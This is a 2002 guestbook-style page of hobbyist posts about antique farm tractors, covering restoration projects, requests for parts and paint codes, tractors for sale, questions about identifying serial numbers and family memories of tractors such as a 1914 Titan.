WILLIAM J. REGISTER wrote on Thursday, September 26, 2002 (PDT):I HAVE A 1960 440 OLIVER, A GOOD TRACTOR, USE IT TO PLOW GARDEN, IT HAS RECENT PAINT AND NEW REAR TIRES, VERY DEPENDABLE. IT COULD BE BOUGHT BUT NOT CHEAP.
Richard Nassano wrote on Wednesday, September 25, 2002 (PDT):I have a Super Dexta and the engine serial is 1657390, I can't locate a serial to id the tractor, I see 957E-7222 on the plate under the gear shifts and 957E-7005 on the trans housing. How can I id the year of this tractor?
Arthur Ayers wrote on Monday, September 23, 2002 (PDT):Around 1984 or '85, my cousin bought and restored a 44 for pulling. He replaced the gas engine with a diesel. The 4 cyl. diesel that came in the 44D. He had lots of success with the ol' girl. I handled more suitcase weights than you can shake a stick at. He has since gotten rid of the 44. I was very upset when I found out he sold it, even though I didn't have the money to fix the cracked block (he thought that was the problem). I loved that tractor alot. I miss it to this day. Maybe I'll find it someday and bring it home.
K. Futrell wrote on Sunday, September 22, 2002 (PDT):I am located in Arkansas,And work for Deere,I would like to find a B to restore with my 7 & 9 year old sons.Any help finding one of these classic John Deere tractors would be great.
tony youngblood wrote on Sunday, September 22, 2002 (PDT):looking for nice 220 for restoration. also call me at 706 798 0413 thanks tony
tony youngblood wrote on Sunday, September 22, 2002 (PDT):looking for nice 220 for restoration. also call me at 706 798 0413 thanks tony
Robert Breitwieser wrote on Friday, September 20, 2002 (PDT):I use a Cockshutt daily but just had a rear wheel rust out. I'm looking for a replacement or alternatively, parting with the faithful old steed. Any takers?
Ferlin wrote on Friday, September 20, 2002 (PDT):We need a part for our Cub mower. It is an idler pulley assembly for the belly mower. Mower deck is a Sunmastr, compatable with a woods 59, and an Artsway. The part number we beleive is IH 60 for the 60 inch mower. Please help the weeds are getting out of control. We live on the Big Island of Hawaii, most of the parts dealers locally can't or aren't interested in helping. Mahalo!
WALT LUND wrote on Friday, September 20, 2002 (PDT):I HAVE AN OLD AVERY TRACTOR (MODEL A -SINGLE FRONT WHEEL) --- I AM INTERESTED IN THE YEAR AND ANY OTHER INFORMATION --- I FOUND THE FOLLOWING NUMBERS ON THE SIDE OF THE BLOCK --- 1XA3 666454 3X4 008 006 28352-E --- THX WALT
Ol Chief wrote on Wednesday, September 18, 2002 (PDT):I have four case tractors 1470,1175 and 2- 900 diesels just love em all.Just shortly ago I bought the last 900Dfrom a JD nut.This is a 1959 with steel wheels in run down condition.Kind of unusual to find a machine from 1959 on steel.It was used to plow gumbo soil an I am sure it pulled it's guts out on that duty. I intend to use it to clear some of my land of Mesqete Trees.For those of you unfamiliar with these trees,theyhave beautiful wood grain when large enough to harvest,wonderful picture frame material and and great for smokeing meat.Problem is -they have very strong two and three inch needles when young and on farm land.Makes tillage w/ a regular wheel tractor nearly impossible.I hope to post a picture of this beast in its present run down condition soon.I would like to locate a power steering unit for it.
ed huff wrote on Wednesday, September 18, 2002 (PDT):My dad bought our SC in 1983, it came with a front end loader. I am currently in the process of restoring it. I still have to find out what year it is, and see if the engine seized. Unfortunetly it was left outside in the elements for the last 18 years. If anyone has any advice they are willing to share, it would be greatly appreciated.
SALLY wrote on Wednesday, September 18, 2002 (PDT):MY FAMILY STILL OWNS THE 1914 TITAN 10-20 THAT MY GRANDFATHER BOUGHT BRAND NEW FROM A IMPLEMENT DEALER IN MONROE WI. THE FAMILY LEGEND GOES THAT THE DEALER BROUGHT THE TITAN TO MY GRANDFATHER'S FARM ABOUT 10 MILES FROM MONROE FOR GRANDPA TO LOOK AT. GRANDPA SAID NO. ON THE RETURN TRIP TO MONORE, THE FRONT AZEL BROKE GOING UP A STEEP HILL. IT WAS NOVEMBER AND BEFORE THEY GOT BACK TO GET THE TITAN A SNOW STORM BURIED IT . THAT WINTER IT STAYED THERE AND THE TRAFFIC JUST WENT AROUND IT. IN THE SPRINGTIME IT GOT FIX AND MY GRANDPA BOUGHT IT. MY DAD WAS BORN IN 1927 BUT REMEMBERED USING THE TITAN FOR BELT WORK. I DON'T KNOW HOW LONG GRANDPA HAD IT PARKED BEHIND A SHED BUT IN 1954 MY DAD ASK HIS DAD IF HE COULD HAVE IT FOR A PARADE IN FOOTVILLE WI. DAD WORKED AND WORKED ON IT SO IT WOULD START. I WAS TOLD DURING THE PARADE HE HAD TO BE TOWED. IT WAS THEN PARKED BEHIND A SHED AT OUR FARM. IN 1957 THE ROCK RIVER THRESHREE BEGAN AND MARVIN HELEGSON KNEW DAD HAD THIS TRACTOR AND WAS ASKED TO HELP IN THE FORMATION OF THIS ORGANIZATION. FROM THAT TIME ON THE TITAN HAS BEEN ON DISPLAYED EVERY LABOR DAY WEEKEND DURING THE SHOW. WE ALSO RUN IT THRU THE DAILY PARADE. MY MOTHER SAYS WE HAVE MORE PICTURES OF THE TITAN THAN ALL OF THE KIDS AND GRANDKIDS COMBINE. IN FACT THE BIG FAMILY PICTURE WAS TAKEN AROUND THE TITAN IN 1989 WHEN IT WAS 75 YEARS OLD. MY DAD HAROLD MAUERMAN PASSED AWAY IN MARCH 2001, MY BROTHERS AND SISTER EXHIBIT THE TITAN IN HIS MEMORY NOW. ON DAD'S TOMBSTONE BY HIS NAME READS "TITAN MAN" I THINK THIS SAYS IS ALL. I AM WONDERING IF THERE ARE ANY TITAN OLDER THAN THIS STILL RUNNING. MY FAMILY AND I ARE PLANNING ON DOING SOMETHING SPECIAL IN 2004 WHEN OUR TRACTOR WILL BE 90 YEARS OLD.THANK YOU FOR ALLOWING ME SHARE A LITTLE OF MY FAMILY HISTORY.
Darryl Nealis wrote on Tuesday, September 17, 2002 (PDT):I just purchased a 1959 Oliver 550. My first oliver tractor I have owned. I have operated two Oliver 1750's which I loved to operate. My 550 needs some work, such as brakes reworked etc. Does anyone know where a good source of oliver parts can be purchased.
TED AGEE wrote on Tuesday, September 17, 2002 (PDT):MR.HAHN I WILL BE SEENING YOU A ADDRESS TROUGH THE MAIL.WE WOULD ALSO BE INTERESTED IN TWO FRONT RIMS IF THERE IS ANY OUT THERE.
TED AGEE wrote on Tuesday, September 17, 2002 (PDT):MR.HAHN I WILL BE SEENING YOU A ADDRESS TROUGH THE MAIL.WE WOULD ALSO BE INTERESTED IN TWO FRONT RIMS IF THERE IS ANY OUT THERE.
R. Lane wrote on Monday, September 16, 2002 (PDT):My grandfather has a Super 55 that we still use on a regular basis. I love this old tractor because it will do just about anything needed. The other reason I love it is because my grandfather told me when I was about 10 years old (I'm 26 now) that it was mine when his time on earth was over. I think it will be something great that I can passon to my grandchildren.
tylerpatrick wrote on Monday, September 16, 2002 (PDT):i have 1963 d15 with 415 loader fresh motor and paint 6000.00 canadian
John Kuepfer wrote on Monday, September 16, 2002 (PDT):I own a 1955 Massey Harris Ferguson TO-35 Deluxe in excellent running condition that has been in my family since the early 70's It has a heavy-duty custom Reist Welding (Elmira, Ontario) loader which I intend to sell if anyone is interested. The loader has an auxilliary pump that runs off the front end. My question has to do with the colour of the tractor, which is red and silver/grey. The tractor was purchased originally from a local Massey dealer whose decal is still on it and has not been painted by the subsequent owners. Where the paint is worn a bit I can spot the dark green on the chassis. Were any of the tractors from the Racine, Wisconsin, plant repainted in MF colours before they were sold by dealers in southwestern Ontario? Any thoughts?? I am also looking for a tail light since mine got lost somewhere over the years. Thanks.
jerry Croy wrote on Sunday, September 15, 2002 (PDT):looking for info on old MM side delivery hay rake. What Color was the rake? Are any parts still avail?
Fred crist wrote on Sunday, September 15, 2002 (PDT): I am restoring my fathers cockshutt 50 gas. It has the 6B273 buda engin i am looking for an oil pump. and some odds and ends like a front gril any one has any for sale please email me thanks
gerry m wrote on Saturday, September 14, 2002 (PDT):i have a 47 mh pony that has a bad crack in the block just wondering if anyone has a block in good shape they are willing to sell at a fair price cuz shipping will also be a factor and so will the exchange on the canadian dollar!!
S. Ribelin wrote on Saturday, September 14, 2002 (PDT):I just bought a 880 gas, and need a few parts. iwould like to know where to buy them? A tachometer,key switch,light switch,shift knob.
Paul Vaughan wrote on Saturday, September 14, 2002 (PDT):From what I've been told by a friend, don't know how true it is,that the "I" in the VAI indicated that it was a industrial type tractor. I have a 1950 Case VAI, it has hydraulics (pump mounted on the front case between the gear train and the magneto{mines been converted to a coil/distributor setup}). It had the remaining parts of a sickle mower underneath. Alos a homebrew 3 point setup. I am also looking for more info, engine size/manufacturer, location of SerNo. Data plate has been mangled.
Cecil wrote on Saturday, September 14, 2002 (PDT):I have a 1950 seires 3 located in Alberta Canada. was looking for shells and starting papers also need seat and steering wheel and owners manal.
Bruce Jones wrote on Saturday, September 14, 2002 (PDT):I have an AC B and am interested in locating an All Crop Model 40 combine to use with it. I would appreciate any leads. Thanks, Bruce Jones
John McMillen wrote on Tuesday, September 10, 2002 (PDT): Have just bought back a Oliver 550 Special that was in the family for years,I would like to restore it , does anyone have a good source for parts in Canada , she'llneed everything from rims to the grill, thanks in advance if anyone can help.
mitch wrote on Monday, September 09, 2002 (PDT):I have a cockshutt 50 and with the f11 loaeder it still moves snow in the winter. I store it in a heated shed it has never had it so good.
Alan Johnson wrote on Sunday, September 08, 2002 (PDT):Looking for the front "Oliver" emblem on my '63 770. Goes above the white grille. Any leads? Thanks. 218-984-2325
Henry Hahn wrote on Sunday, September 08, 2002 (PDT):Dennis The leader paint code is Martin senour # 1956 can be bought at NAPA stores Henry Hahn
Dennis E> Morgan wrote on Sunday, September 08, 2002 (PDT):I am looking for anyone who may know the color code for a 1948 Leader D. Also would appreciate any other information you might have. Thanks!
Greg McGlynn wrote on Sunday, September 08, 2002 (PDT):looking at purchasing a "B" the owner said the top left side of the block had cracked (due to frozen water) he bolted aplate over it with a gasket said he's had no trouble with it leaking. Should I be concerned with the crak ? will this plate contiue to hold ?
Kevin wrote on Saturday, September 07, 2002 (PDT): I need four sleeves for a 28-44 or 99 seiries Oliver,any help would be great,Kevin at Clovervalleyfarm at aol.com
R. A. Hale wrote on Thursday, September 05, 2002 (PDT):I purchased a 1950 TO-20 in the spring of this year. Ihave used it to raise 1/2 acre veg. garden and have raised tobacco crop this year. It runs and works great. It was partially restored but the name plates for the side of the hood are missing. I checked with the local Massey dealer and they have a Part number but it is no longer available. Any info on where to order restoration parts would be greatly apprecated Thanks, Rob S.E. Ky.
Larry Wait wrote on Thursday, September 05, 2002 (PDT):We bought our Oliver 550 brand new in 1961. At the time we were farming 173 acres with only one 1951 Oliver 88. The 550 was used for just about everything except fitting. The 88 pulled 3-14's as a trailer in 4th gear, and the 550 3-14's as a full mounted plow in 3rd. Our soils are clay loam. When the 550 was new you could steer it with one finger without power steering. Then several years latter we put a loader on it and eventually that abuse messed up the steering. We should have put power steering on it. I still have the tractor and I am considering getting a finish mower for it. I is a darn good little tractor.
Steve Davis wrote on Thursday, September 05, 2002 (PDT):I bought a 47 Leader Model D last October. It had set in a barn for about 10 years and had not been run. It was pure rust but solid. I thought it would be a fun project to bring the old gal back to life. Only took a few hours to get it running but had to break the tractor in half to unfreeze the clutch. After fixing the clutch, I started cleaning and repainting. I also had to have the hydraulics overhauled due to pitting and leaking around the shaft. I finished the project in time to run it in the local 4th of July parade. Pulled a wagon full of cub scouts. Henry, you seem to be the Leader King. I would like to exchange email photos of my Leader with you if you would like. Let me know.
Arden McClure wrote on Wednesday, September 04, 2002 (PDT):Can anyone identify a tractor? I think it was a Case tractor. It was very strange looking, with a rear engine with transmission combined. The seat was in front of the engine with wide front wheels. There was just a light frame (as I remember mostly two curved "pipes" to the front. Most of the implements were mounted under the seat and in front of the engine. The rear tires were quire narrow for tractor tires. It was built for truck farming or large gardens. The one I remember was mostly used for light utility work and mowing on a college campus. I think it may have been built shortly before WW2, but I remember it from the late '50's. I found it interesting, and so remember its main features. It was much shorter (obviously very compact) but in the same power range as a farmall A (around 18 hp.) Thanks to anyone who can identify it or better yet provide a picture.
Henry Hahn wrote on Wednesday, September 04, 2002 (PDT):Ted if you will send me your mailing address i will send you what information i have Henry Hahn
John Vessels wrote on Wednesday, September 04, 2002 (PDT):I have a 1965(year) model 1950 with GM Diesel engine for sale. It is in good condition and was used to plant soybeans this spring.
Ron Nuckles wrote on Wednesday, September 04, 2002 (PDT):I'm atempting to repair a farmall c built somewhere between 1947 and 1951. the ser.# is 61993, might make it a 1950. This tractor belongs to my pastor, and i would like very much to be able to fix it for him. I'm looking for a Rockford or atwood clutch, pressure plate and throughout bearing. can any one direct me to where i might be able to find these parts? thanks much, Ron
bill wrote on Monday, September 02, 2002 (PDT):my 1256 has no ta, it jumps out of low range and the valves are messed up in the breaks but in high range it has alot of horsepower all turbo charged of corse
ted agee wrote on Sunday, September 01, 2002 (PDT):Mr HAHN COULD YOU GIVE ME INFO ON A 48D LEADER OR A BOOK ON IT
Leonard Rahilly wrote on Sunday, September 01, 2002 (PDT):A neighbor of the farm where I grew up in NJ had two Titans. In my memory (about 1940 on), he used one of them only to disk up corn stubble. Claimed the angle lugs were great for chewing up the corn stalks AND the narrow tread was exactly right for riding on the ridge made by the corn rows. I think he may have used the tractor on the belt, also. It is not apparent from looking at the tractor, but the two cranks are on the "same throw." This gives even firing (unlike the John Deere, where firing intervals are uneven), but means there is a terrific front-and-back rocking movement from the momentum of the crank and the counter weights. Another interesting thing about this tractor is that it put out about 28 hp on the belt, on kerosene, but around 12 (as I remember) on the drawbar. Chain drive and the lack of ball and roller bearings in the transmission are probably responsible for the great loss of engine power. This tractor is always shown pulling three-bottom plows, but with that little drawbar horsepower, we know that the tractor was moving very slowly. I think high gear (there were only 2 gears) was under three mph. This jibes with some research I've seen, done around 1920, showing plow draft at different speeds. The McCormick-Deering 10-20 I grew up with would handle only 2 14" plows, because it pulled in second at about 3.25 mph, where the plow draft is just high enough to keep it from pulling three bottoms. The Titan could pull the three because it was moving a good deal more slowly. Fascinating machine, with all those moving valve leaders, flywheels and things hanging out. Cranking is a joy; Big crank put on the left flywheel, and pulled DOWN toward the front of the tractor. Couldn't break your arm, although I'd want to make sure the flywheel shaft had a little oil on it so that the crank couldn't be spun around and then come off and clunk someone in the head!
Peter Soule wrote on Sunday, September 01, 2002 (PDT):I am looking for a non-restored Avery "V".My e-mail is; www.focus at duesouth.net .
Donald Hamblin wrote on Saturday, August 31, 2002 (PDT):Last year i finnished restoring a 48'Co-op E-3 and sold it for $1050, it ran and had new paint with pretty good tin. I almost entered up in a pull but got in the wrong class and missed my run. it should have been in the 4500# class. many pull assoc dont have a class that small but ask the feller running the show and if you get a few to run with you some times the'll let it fly. to get my paint colors i matched some paint on the engine side of the air filter.. it seemed to be the most original with no sun fading. i got my decals through Recovery Specialties up in Canada. If ya have any questions let me know and ill see if i can help.. im from Hayward Wisconsin.
echo wrote on Saturday, August 31, 2002 (PDT):I have a 1960 AC HD16 DC with a 16000 series 6 cylinder diesel engine. I would like to see some pictures of HD16's that other people might have.
Mark Vandaele wrote on Wednesday, August 28, 2002 (PDT):Our family worked the land for many years using the reliable power of Minneapolis Moline Tractors. My Grandfather Harry Vandaele owned one of the first diesal tractors from MM. This tractor is now on display at the museum in Austin MB. My Uncle Glenn Vandaele proudly drove this tractor in the 100th centeniall celebration in Medora MB where the Vandaele has farmed for several generations. My father Vern Vandaele started his farming days with a G900 and even today nearly 30 years later a G1000 owned by my Grandfather has been pulled out of retirment and assists by running a grain auger in the busy season. My son Cole, now the fourth generation of Vandaele's is excited to ride the old "U" one day in the parade at Austin MB.
Octo Pus wrote on Wednesday, August 28, 2002 (PDT):I used to know this old man that had a John Deere but after having 21 heart attacks he gave it to his loser grandson. I hate kittens and John Deere Tractors. God Bless, Chimpanzees
Mike Kennis wrote on Wednesday, August 28, 2002 (PDT):I broke my leg in 3 places when I stepped off the rear axle of my super C, it damn near ripped my leg off. My wife is making me sell the tractor in October, if you want the wheel your welcomed to it.
Martin Harangozo wrote on Tuesday, August 27, 2002 (PDT):I used to have an O-14 I bought in 1980 at age 17 for $500. It ran excellent. It pulled a two bottom 12" plow easily. My uncle teased be about this tractor (for reasons I never understood), so I took it to a junkyard and scrapped it. Now I wish I still had it. It had fenders in the back down to the drawbar, and in front to the frame. Regards -Martin
Jacob Bowers wrote on Sunday, August 25, 2002 (PDT):Have a w4 farmall and I still use it on the farm today and take it to tractor pulls. I have to say after sitting in a building for 8 years it cranks over just fine
mario zamudio maasberg wrote on Saturday, August 24, 2002 (PDT): solicito informacion de donde podria comprar la bomba del hidraulico para un tractor ford super dexta le agradecere mucho la informacion
Paul Williams wrote on Friday, August 23, 2002 (PDT):I recently purchased a 1900 with GM twin Turbo and hydra drive. However, it doesn't have power steering. Anyone out there know if there is a power steering kit you can ustall??
keith wrote on Tuesday, August 20, 2002 (PDT):Does anyone know what the bore and stroke is on an AC 220? It looks lik equite a beast.
Jim Broughton wrote on Sunday, August 18, 2002 (PDT):To; Doug Riesenberg..You didn't say where in Oregon..I'm in the Eugene area and a friend of mine has a little Cub that he no longer uses in his business..it is a 1959 model, with hydraulics (they were an add-on on his).He used it for sweeping pavement prior to striping the road or lot and has put the business up for sale. The Cub has been sitting for a little while now and he wants $450.00 for it.It's located in Springfield,Or. ; his name is Russ Pickett and his phone number is 541-747-7898...just tell him "Jim" sent you, O.K.? Hope this helps Jim
mike johnson wrote on Saturday, August 17, 2002 (PDT):I have a cockshutt 30 that the pto slips and will not shut off. How do I fix this problem. I restored this tractor and use in tractor pulls in Southern Indiana. It pulls in 5500 lbs class but we're to small to win just having fun. I must dyno tractor or they won't let me pull. Any ideas would greatly be used. Thanks
Steve Lemons wrote on Wednesday, August 14, 2002 (PDT):Does anyone know where I can get a parts manual or any kind of literature on the Oliver 550? I just got mine when I purchased my tree farm.
mike worrell wrote on Tuesday, August 13, 2002 (PDT):My father recently bought a model 48D leader serial# 2027. Mr. hahn could you please e-mail me any info you have? Also anyone else feel free to send me any info you have it will be much appreciated. We are trying to find parts for this tractor specifically the right tire rim and plate. The one we have is corroded.
mike worrell wrote on Tuesday, August 13, 2002 (PDT):My father recently bought a model 48D leader serial# 2027. Mr. hahn could you please e-mail me any info you have? Also anyone else feel free to send me any info you have it will be much appreciated. We are trying to find parts for this tractor specifically the right tire rim and plate. The one we have is corroded.
norm brown wrote on Tuesday, August 13, 2002 (PDT):brad---SD3 for sale. runs well. in Salem Va.
Mike Sitton wrote on Sunday, August 11, 2002 (PDT):I have a General tractor my neighbor gave me, in Mississippi. It has one iron lug wheel and one rubber tired wheel on the back. Anyone close to have one?
James E Bennett wrote on Saturday, August 10, 2002 (PDT):Looking for a Head for a 52 Case LA . a Lp Head will work if you have one please email me with price and location. Thanks J Bennett
Jeff wrote on Saturday, August 10, 2002 (PDT):I have recently acquired a 55 and I'm in the process of restoration. Everything is great on itbut the transmission. Where the brake shaft goes into the right side is broke out. I was wondering if any other models used the same transmissions, such as the 33s or 44s. If anyone can answer this question or has any idea where to locate one I would appreciate it.
jason marks of hereford pa wrote on Friday, August 09, 2002 (PDT):my father own about 11 oliver tractors and i own 3. a few years ago my brother talked me into buying a john deere 440 trackloader, something i didn't want. what i would really like to have is an oliver oc-6 gas or desiel, because of the model 77 engine used and the fact that it has both live pto and hydraulics. but i will take any oliver or cletrac crawler i can get, plus i'll even give the john deere 440 as trade. if anyone is has one for me let me know.
JAROD wrote on Thursday, August 08, 2002 (PDT):I'v just began working on an NTX and found the valves were stuck. Are parts avalable? I need a head gasket.
Len Freeman wrote on Monday, August 05, 2002 (PDT):We had a 10-20, 2 H's which we still own, some M's and then several other later model IH machines, but I got to drive our neighbors F-20 on several occassions when I was a teen. My favorite part was the automatic brakes - some of you will remember - when the fron wheeel turned just so far it pulled a cable that engaged the brake on the appropriate side. Do that real fast and man what a ride. The 20 was not for the faint of heart. I'm almost done restoring a 1938 JD model D. I can hardly wait to get back to something red - maybe an F-30.
Doug Riesenberg wrote on Monday, August 05, 2002 (PDT):I am looking for a Cub of any year, would love to have it in good condition as I would like to start using it this year. Located in Oregon.
C.L. Bowman,jr wrote on Monday, August 05, 2002 (PDT):I have sold the Oliver 550. Thank you for all of the inquireies that I had about it.
Raymond Wagner wrote on Sunday, August 04, 2002 (PDT):I am looking at a 60 to62 ac d15 diesel it runs has front end loader and good rubber little rusty but all there.Need to know good price to offer owner
Brad Shepherd wrote on Sunday, August 04, 2002 (PDT):I am looking for a sheppard diesel SD-2,SD-3,SD-4. In any condition. Any info will be appericated. Thanks Brad Shepherd
Marv Dennis wrote on Saturday, August 03, 2002 (PDT):I have a 1948 CUB all refurbished to orignal condition. Had it all restored for sentimental reasons (used to be my Dad's) I am now in the process of moving and need to sell it. Any one interested may contact me at m e-mail address and I'd be happy to send yusome photos.
Phillip Curtis wrote on Saturday, August 03, 2002 (PDT):I own a R. I had just had the head and pony motor rebuilt. I had told my driver to keep a check on the fluids. We had been tring to break it in easy. I need a short block or a rotating assm. Or may be a R that has a lot wrong with other parts. Or may be someone has an R with a good eng ine. It made me sick when I pulled that pan.
jason lanham wrote on Friday, August 02, 2002 (PDT):Looking for parts for a cockshutt 30 model. Trying to restore one. Right now focusing on engine parts. Also spoke wheeles for a John Deer B 1935.
Ron Mitchell wrote on Thursday, August 01, 2002 (PDT): Hi - Just an update on my e-mail address. If anyone is looking for parts, info, or more pics of the resto process, e-mail me direct at Phoenyxx at shaw.ca
Jerry Froehlich wrote on Wednesday, July 31, 2002 (PDT):I have a case that someone removed the ID tag from the panel But I found the numbers DC8025937 on the engine block near the clutch housing. Can someone tell what model it may be from this number . Year?
Jim Coleman wrote on Wednesday, July 31, 2002 (PDT):Interested in purchasing a "G" model with mower in north Georgia area. Does anyone know of a loction and price. Also would like any attachments, especially cultivators and turning plows.
Calvin Schmidt wrote on Tuesday, July 30, 2002 (PDT):The first tractor I purchased when I started farming in 1975 was a D-21 series II serial 3327. I sold it in 1980 at Yoder&Frey in Archibald Ohio. Any help or leads to find this tractor would be appreciated.
john robinson wrote on Tuesday, July 30, 2002 (PDT):I HAVE A 1956 BLACKHAWK L THE L STANDS FOR LOW PROFILE THESE TRACTORS ARE VERY RARE AND OFTEN CAME WITH A WAGNER LOADER AND A SGUARE FRONT AXILE AND 14/9 28 REAR TIRES IT HAS A 42 HORSEPOWER HERCULES ENGINE
Craig Beacock wrote on Monday, July 29, 2002 (PDT): I have just bought a 1939 Case D Trator. And was wondering if it is the same as the DI,DC. To young to know. If there is a differents Thanks
Don wrote on Monday, July 29, 2002 (PDT):My father-in-law purchased a CockShutt 30 and Cockshutt 20 to restore. He is having difficulty locating a paint color for them. Just wondering if anyone has the paint color for either of these tractors.
ed wrote on Sunday, July 28, 2002 (PDT):I don't own a tractor. Not that I would mind owning a tractor or anything, it's just that I don't really need a tractor right now. I need land first - we only have one half acre. Does anyone have any advice?
James Barrett wrote on Saturday, July 27, 2002 (PDT):I have purchased a Farmall Cub with ser. #212988 J. I think I have found that the J stands for Rockford Clutch, but can not find out what year the tractor was made. The tractor has a sideplate that says McCormick Farmall and (2) small ovals that say cub. Can anyone tell me what year this tractor was made? Thanks!
Eli C. Gingerich wrote on Friday, July 26, 2002 (PDT):I just bought a Oliver 60 row crop, it is very neer complete in the restoring process. I had this tractor in the early 80's and my brother got it, but now I have it back. It is a sweet tractor.
Albert Newton wrote on Friday, July 26, 2002 (PDT):I have a leader tractor. It runs good. I would like how they are worth because they are an antique. I am going to be putting mine in a car and tractor show in october. If anybody has any ifor on the worth of these tractors please let me know. Albert Newton
Tim Ingles wrote on Wednesday, July 24, 2002 (PDT): I have just bought one of these muscle machines, having freed the motor we are rebuilding her. Looking for spare parts, I need an air cleaner stack,and bottom bowl.it is not on it's original manifolds, I would like to put her back to kerosene if possible. Any help appreciated.Thanks
john wrote on Tuesday, July 23, 2002 (PDT):ihave the opportuniy to purchase a 770 with a loader from a reliable friend that say it is in excellent shape for 2800.00.Is thia a good deal? It doesny have a 3 point or power steering. Can these be added and for how much is so. As this is my first tractor I would appreciate any info. thanks.
Jake wrote on Monday, July 22, 2002 (PDT):After many years of coaxing by my neighbor I finally bought his '72 1066. I have ran Deeres all my life but got fed up when my 4630 blew up during planting. I am glad I bought that 1066, the price was so good I almost stole it! One of the best tractors I have ever driven. Now my 4630 sits in the shed when it comes time to do field work.
Dan Millard (age 14) wrote on Monday, July 22, 2002 (PDT):I have a super MD wide front in restoration right know. It runs great!! I am a member of the IHC club of the ontario chapter 20. I just reasontly came back from ATHENS, Ontario (near brockville) we had our red power show there this year. Please e-mail me any time with pictures that might help me along with this restoration. Dan Millard Caledonia, Ontario Canada
Fern wrote on Saturday, July 20, 2002 (PDT):My father has a 1964, 1900 model with an original cab on it, it was a very good worker, we used it a lot. But the blower on the 4-53 Detroit engine is broken. I'm sure my dad would sell it. We would like to know how many HP this tractor has.
John wrote on Saturday, July 20, 2002 (PDT):Need to find out what a TD-13 is? Is it related to the above crawler?
bob wrote on Friday, July 19, 2002 (PDT):Oliver bought Cletrac in 1945. Anyone with an interest in these tractors should belong to the HART-PARR/OLIVER COLLECTORS Assn. Bi monthly mag full of stories and tech info as well as ads for parts and services. contact hpocacc at fiai.net. The best scource for cletrac parts and advice is Zimmerman Oliver-cletrac, Ephrata Pa, 717-738-2573,mon-fri 7-5 EST.
Gail Schmidt wrote on Thursday, July 18, 2002 (PDT):My dad bought a MM U brand new in 1954. I drove that alot of years. Fun tractor to drive. My dad passed away and my husband and I restored it. Looks good and runs good. We're thinking of selling in now. Is anyone interested. If so let me know and I will get you a picture.
tim emmersom wrote on Tuesday, July 16, 2002 (PDT):our beagle club has an oliver super 55 that was bought shortly after the club was form the gas motor has been overhauled recently and new clutch the tractor is in very good shape we are thinking of selling it what would be a fair price
keith groves wrote on Tuesday, July 16, 2002 (PDT):have a 1948 #30 cockshutt looking for a good waterpump or a rebuild kit or places to find
Mark Jones wrote on Tuesday, July 16, 2002 (PDT):I have what I think is a 1961 Fordson Dexta (the numbers show that anyway),but the motor appears to be a 3-152 instead of the 3-144 that it should have. How can I tell for sure what motor this is? I am doing a complete restoration and need some body parts qand a wiring harness. Any help would be appreciated. THANKS!
Doug Powell wrote on Monday, July 15, 2002 (PDT):In search of good quality manuals for my 1960 M5, I have copies of copies that are real hard to read. Also what oil does the Amplitorc like best? Anyone have implements for sale?
George Chapman wrote on Saturday, July 13, 2002 (PDT):I own a 1948 Leader model D and would like to trade information with others. My tractor runs great and we take it to shows. I've never had more than two others at a show with me.
Gene Cockrell wrote on Saturday, July 13, 2002 (PDT):I bought a 1940 B a couple years ago and it came with several implements; There is a two disk plow (Athens Plow Co.) an several A-C items; a seeder with a bunch of star wheels, a 1-row plow, some type of subframe that mounts under the tractor, some cultivator heads, a non-hydraulic drawbar (tractor has 1 cylinder hydraulic lift drawbar now). Question is, I bought the tractor for shredding and moving stuff around. This it does pretty well but how do you use the other implements?
Larry Helms wrote on Saturday, July 13, 2002 (PDT):I have an Oliver 70 Industrial and would like any information anyone may have. Also need engine side curtains.
Hooter wrote on Friday, July 12, 2002 (PDT):I Bought a 1963 770 Industrial recently. Even tho everything says Oliver only made thes from 65-67 the original owners manual printed in 1961 has direct reference listing them as a model. Anybody have an icite as to why there's a discrepency?
norbert wrote on Friday, July 12, 2002 (PDT):I am planning on restoring a 856 but i dont have pictures to go off of. Its one of our most used tractors. We also have farmall Super M, super H and super MTA. To go along with them we have a 1066 and a 1586. If anyone has any pictures of a 856 send them to me.
Leonard J. Rahilly wrote on Friday, July 12, 2002 (PDT):I used to use a "Regular" Farmall that belonged to a neighbor. It was on 36" rubber, and except for the lack of the extra gear, it performed very much like the F-20 that I also used back then (early 40s). The Nebraska test is deceptive, because the earliest Farmall had a 1" carburetor opening. Later models had 1-1/4", the same as the F-20. The carb and manifold were different, but I believe that the developed horsepower was very similar for both tractors after the carb change. I do not believe that IHC ever called this tractor "Regular." Everybody else did, of course. You'd hear this; "Well, she ain't a F-20, she's jist a reg'ler Farmall." I have some old catalogs from parts suppliers, and they refer to the tractor as "Regular." Still, I have only seen "the original Farmall" or "the Farmall" in International sales brochures or advertisements in farm magazines from the 30s. This tractor and the F-20 were so common that many modifications were made to them. It was possible to buy overdrive transmissions, to double the speed, variable governor kits, a brake handle for the right side, foot brakes, and gasoline manifolds. This is one reason why people like Ertl make some royal booboos in their models of these tractors. I'd guess they go out and find a "restored" tractor, but don't know enough about it to realize that the governor has been changed, the manifold is not original, or a magneto other than the original type has been put on after the E4A or F-4 has bitten the dust. Oh, well!
JOHN BARNA wrote on Friday, July 12, 2002 (PDT):Iam looking at a td9to buy, when you try to startitit trys to run but cant get going , while it is turning over there is a lot oF black smoke, when you pull it it starts right up and runs on gas and you can switch it to diesel and it runs well, after the first start up it will start and run normally can anywone help with this problem, i would like to buy this tractor as it seems to be allright otherwise sincerly JOHN
Eric wrote on Wednesday, July 10, 2002 (PDT):i have a 1466 international with a american bosh and i want more horse power. what can i do?
Karey Love wrote on Wednesday, July 10, 2002 (PDT):Where can I get new rear rims and tires for my '41Farmall A? I'm located in Polk Ciubty, WI
BUD SCHAEFER wrote on Wednesday, July 10, 2002 (PDT):BRIAN L. CAN YOU TELL ME A BALL PARK FIGURE FOR YOUR D-17 AND DOES IT HAVE A 3 POINT AND HYD.LOOKING FOR SOME THING TO USE AROUND HERE.AND WHERE ARE YOU LOCATED.THANKS.YOU CAN E-MAIL ME WITH IMFORMATION IF YOU WISH.
peter wrote on Tuesday, July 09, 2002 (PDT):I HAVE STUMBLED UPON A McCORMICK DEERING ...W30 TRACTOR IN NORTHERN N.S.W.AUSTRALIA..AND REALLY NEED ANY INFO ON START UP PROCEDURE +ANY OTHER RELEVANT STUFF
Harry wrote on Monday, July 08, 2002 (PDT):I'm needing a back wheel for a 300 utility. I am located in middle Tennessee. Does anyone know of a salvage yard in the area?
bill wrote on Monday, July 08, 2002 (PDT):hi looking for any pictures or sites on ih 706 and 66 series tractor. anything would be appreciated. Thanks
